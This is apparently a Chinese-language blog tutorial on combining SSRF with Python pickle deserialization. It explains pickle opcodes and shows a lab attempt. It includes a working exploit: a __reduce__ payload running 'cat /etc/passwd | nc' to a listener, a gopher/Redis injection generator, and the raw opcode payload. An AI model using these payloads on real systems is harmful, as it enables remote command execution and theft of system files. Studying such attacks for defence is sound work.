ssrf结合python反序列化

存储session对象时 当然不能直接存储对象 需要转换成有规律的字符串 这一过程就涉及到了序列化
将对象转换成字符串这一过程称之为序列化

PYTHON反序列化漏洞

本文中就涉及到了pickle这一序列化模块导致的反序列化漏洞

在反序列化结束时 会触发__reduce__魔术方法 类似于php中的__wakeup 也就是 将字符串还原为对象这一过程会调用这一魔术方法

在序列化过程中 要经过PVM 而这个pvm处理逻辑类似于 栈
image
这里引入一个图 方便理解
左侧为序列化字符串
当读入时

首先读入 					栈结构
c_builtin__					R
file						/etc/passwd
(s'						(
/etc/passwd					file
R						c_builtin__

最终栈通过opcode得到序列化对象
常用opcode:

指令	描述	具体写法	栈上的变化
c	获取一个全局对象或import一个模块	c[module]\n[instance]\n	获得的对象入栈
o	寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)	o	这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i	相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)	i[module]\n[callable]\n	这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N	实例化一个None	N	获得的对象入栈
S	实例化一个字符串对象	S'xxx'\n(也可以使用双引号、\'等python字符串形式)	获得的对象入栈
V	实例化一个UNICODE字符串对象	Vxxx\n	获得的对象入栈
I	实例化一个int对象	Ixxx\n	获得的对象入栈
F	实例化一个float对象	Fx.x\n	获得的对象入栈
R	选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数	R	函数和参数出栈,函数的返回值入栈
.	程序结束,栈顶的一个元素作为pickle.loads()的返回值	.	无
(	向栈中压入一个MARK标记	(	MARK标记入栈
t	寻找栈中的上一个MARK,并组合之间的数据为元组	t	MARK标记以及被组合的数据出栈,获得的对象入栈
)	向栈中直接压入一个空元组	)	空元组入栈
l	寻找栈中的上一个MARK,并组合之间的数据为列表	l	MARK标记以及被组合的数据出栈,获得的对象入栈
]	向栈中直接压入一个空列表	]	空列表入栈
d	寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)	d	MARK标记以及被组合的数据出栈,获得的对象入栈
}	向栈中直接压入一个空字典	}	空字典入栈
p	将栈顶对象储存至memo_n	pn\n	无
g	将memo_n的对象压栈	gn\n	对象被压栈
0	丢弃栈顶对象	0	栈顶对象被丢弃
b	使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置	b	栈上第一个元素出栈
s	将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中	s	第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u	寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中	u	MARK标记以及被组合的数据出栈,字典被更新
a	将栈的第一个元素append到第二个元素(列表)中	a	栈顶元素出栈,第二个元素(列表)被更新
e	寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中	e	MARK标记以及被组合的数据出栈,列表被更新

我们只要构造恶意的序列化对象 就会导致任意命令执行
接下来我们在环境中做一下尝试
payload 生成代码

class PickleExploit(object):

    def __reduce__(self):
        ip = "127.0.0.1"
        port = "9091"
        cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)
        return (os.system, (cmd,))

def pickle_payload(key):
    res = ""

    payload = pickle.dumps(PickleExploit())
    res += "\r\n"
    res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))

    res = res.replace("\n", "\r\n")

    print(generate_gopher(res).replace("gopher","http"))

很简单 其实就是给我们的session文件写入
注意 新的session文件要与原来的不同 通过用新的session访问网页触发序列化

cposix
system
p0
(S'cat /etc/passwd | nc 127.0.0.1 9091'
p1
tp2
Rp3

这里我们稍微修改一下 把执行结果返回给 kali 192.168.80.153
当然 我们不止能查看文件 也可以做其他操作
现在我们试一试
kali上监听 9091
image

ssrf请求发出
image

发现urllib不解析回车符号 crlf失败了
image
在python2.7.18版本中crlf早就被修复了 crlf漏洞出现在2.0到2.7.16版本之间

如果成功绕过 服务器会将把passwd中的值返回给攻击者
image

注意攻击者需要利用新的session访问网页 以触发序列化
image
注意原session为606c3dd2-3845-4708-a65e-07af1e30af5c

posted @ 2024-07-03 23:13  f0r9  阅读(10)  评论(0编辑  收藏  举报